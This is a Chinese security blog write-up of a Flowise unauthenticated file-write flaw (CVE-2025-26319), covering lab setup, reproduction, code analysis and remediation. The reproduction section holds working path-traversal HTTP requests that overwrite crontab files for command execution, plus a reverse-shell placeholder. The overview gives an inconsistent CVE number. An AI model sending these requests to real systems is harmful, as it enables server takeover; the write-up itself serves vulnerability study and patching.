CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

admin 2025年6月9日20:18:39评论4 views字数 4685阅读15分37秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!作者:Howell@Timeline Sec 本文字数:4617 阅读时长:3~5mins声明:仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x01 简介

FlowiseAI 是一款开源的低代码/无代码工具,用于快速构建基于大语言模型(LLM)的应用程序。它通过可视化拖拽组件,让用户无需或仅需少量编码就能创建聊天机器人、文档问答等应用,并支持多种大语言模型和向量数据库的集成。其核心功能包括记忆与对话、API 嵌入等,可应用于工作流自动化和文档问答等场景。FlowiseAI 支持本地、Docker 和云平台部署,完全开源免费,适合开发者和非技术用户快速搭建 AI 应用。

0x02 漏洞概述

漏洞编号:CVE-2024-26319

这是一个严重的系统任意文件上传漏洞,该漏洞 CVSS 评分为 9.8,属于高危漏洞。该漏洞存在于 Flowise 的 /арi/v1/аttасhmеntѕ 中,允许未经身份验证的攻击者通过“知识上传”功能将任意文件上传到托管代理的服务器,此缺陷可能使攻击者能够通过上传恶意文件、脚本、配置文件甚至 SSH 密钥来远程控制整个服务器。

0x03 影响版本

Flowise <= 2.2.6

0x04 环境搭建

操作系统:Ubuntu-22.04.5-amd64

1) 直接搭建

这里有一点非常重要:当在虚拟机中配置环境时,遇到物理机与虚拟机可以互相 ping 通,物理机却无法访问虚拟机搭建的环境时,记得检查防火墙,很可能是防火墙没开放这个端口。

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

安装 fnm

1.apt-get update

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

2.apt-get install unzip

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

3.curl -o- https://fnm.vercel.app/install | bash(如果要让安装好的 fnm 生效,需要执行红框中的语句,或打开新的命令行)

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

通过 fnm 安装 node.js:fnm install 22

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

安装 flowisenpm install -g [email protected]

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

启动 flowise:npx flowise start

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

访问 localhost:3000

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

2) docker 搭建

1.下载 flowise 安装包:wget https://codeload.github.com/FlowiseAI/Flowise/zip/refs/tags/flowise%402.2.6。2.解压安装包。3.打开文件夹中的 docker 文件夹,将里面的 .env.example 复制一份并改成 .env

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

4.由于官方的 docker-compose.yml 是默认拉取最新的镜像,所以在安装时,需要修改 image 参数为漏洞版本的镜像。

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

5.最后启动:docker-compose up -d

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

0x05 漏洞复现

1.上传文件后,可以在目标机器上看到test.txt

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
POST /api/v1/attachments/test/test HTTP/1.1 Host: yourURL  Accept: application/json, text/plain, */*  x-request-from: internal  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36  Sec-Fetch-Site: same-origin  Sec-Fetch-Mode: cors  Sec-Fetch-Dest: empty  Referer: http://localhost:3000/apikey  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW  Content-Length: 213------WebKitFormBoundary7MA4YWxkTrZu0gW  Content-Disposition: form-data; name="files"; filename="test.txt"  Content-Type: text/plain  This is the content of the file.  ------WebKitFormBoundary7MA4YWxkTrZu0gW--
CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

2.向定时任务中写入文件实现任意命令执行

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1  Host: yourURL  Accept: application/json, text/plain, */*  x-request-from: internal  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36  Sec-Fetch-Site: same-origin  Sec-Fetch-Mode: cors  Sec-Fetch-Dest: empty  Referer: http://localhost:3000/apikey  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW  Content-Length: 657  ------WebKitFormBoundary7MA4YWxkTrZu0gW  Content-Disposition: form-data; name="files"; filename="root"  Content-Type: text/plain  # do daily/weekly/monthly maintenance  # min   hour    day     month   weekday command  */15    *       *       *       *       run-parts /etc/periodic/15min  0       *       *       *       *       run-parts /etc/periodic/hourly  0       2       *       *       *       run-parts /etc/periodic/daily  0       3       *       *       6       run-parts /etc/periodic/weekly  0       5       1       *       *       run-parts /etc/periodic/monthly  * * * * * echo "a" >> /tmp/test.txt  ------WebKitFormBoundary7MA4YWxkTrZu0gW--
CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

3.反弹 shell

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fetc/./ HTTP/1.1  Host: yourURL  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW  Content-Length: 219  ------WebKitFormBoundary7MA4YWxkTrZu0gW  Content-Disposition: form-data; name="files"; filename="crontab"  Content-Type: text/plain  */1 * * * * root bash -c "your shell"------WebKitFormBoundary7MA4YWxkTrZu0gW--
CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

0x06 漏洞分析

1) API 白名单机制

在 Flowise 平台的核心架构中,存在一个名为 constants.ts 的文件。这个文件中定义了一个名为 WHITELIST_URLS 的变量,它包含了一系列无需认证即可访问的API端点。这种设计的目的是为了方便实现一些特定功能,例如API密钥验证、公共聊天流和文件操作等。这些功能不需要用户进行身份认证就可以运行,从而提升了用户体验和系统的灵活性。

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

2) 鉴权流程

当服务器接收到HTTP请求时,会按照严格的逻辑进行鉴权:首先检查请求路径是否包含 /api/v1 前缀(不区分大小写),接着进行大小写敏感的路径验证;然后判断该URL是否在白名单 WHITELIST_URLS 中,如果在白名单内,就继续处理请求;如果不在白名单内,再检查请求头中是否有 internal 标记,或者验证API密钥,只有通过这些检查后,请求才会被允许继续处理

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

3) 文件上传处理逻辑

/api/v1/attachments/ 路由负责处理文件上传创建操作。在 createFileAttachment 函数里,会调用addArrayFilesToStorage 处理文件。

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

在 addArrayFilesToStorage 函数处理文件地址时,会把 chatflowId 和 chatId 直接拼接到路径里,而且没有进行任何处理,这就导致攻击者能通过编码绕过目录限制,实现跨目录上传,这就是漏洞产生的关键原因。

CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

0x07修复建议

1) 官方修复

  • 升级版本:将 Flowise 升级至最新版本(>= 2.2.7),官方已在该版本中修复了此漏洞。

2) 临时修复措施

  • 限制接口访问:在升级前,可以通过配置 .htaccess 文件或其他访问控制机制,限制对 /api/v1/attachments 接口的访问,仅允许受信任的 IP 地址或用户访问。
  • 严格文件权限:在应用服务器上配置文件上传目录的严格权限,避免攻击者覆盖关键配置文件。
  • 更改存储类型:将存储类型更改为 S3。默认情况下,存储类型设置为 Local,这使得漏洞更加严重。如果存储类型为 S3,则可以保护您免受这些攻击。

3) 安全监控

  • 部署监控系统:部署入侵检测系统(IDS)或安全信息和事件管理(SIEM)系统,实时监控服务器上的异常文件上传或配置更改行为。

4) 补丁修复

  • 应用补丁:如果无法立即升级,可以手动应用官方提供的补丁。补丁地址为:https://github.com/dorattias/CVE-2025-26319/blob/main/CVE-2025-26319-FIX.patch。

参考连接

EXP:https://github.com/YuoLuo/CVE-2025-26319
https://www.keepnight.com/archives/3118/
https://www.freebuf.com/vuls/425908.html
 

视频号:搜索TimelineSec,官方微博

团队官网:http://www.timelinesec.com

B站:https://space.bilibili.com/524591903

原文始发于微信公众号(Timeline Sec):CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月9日20:18:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞https://cn-sec.com/archives/4151235.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息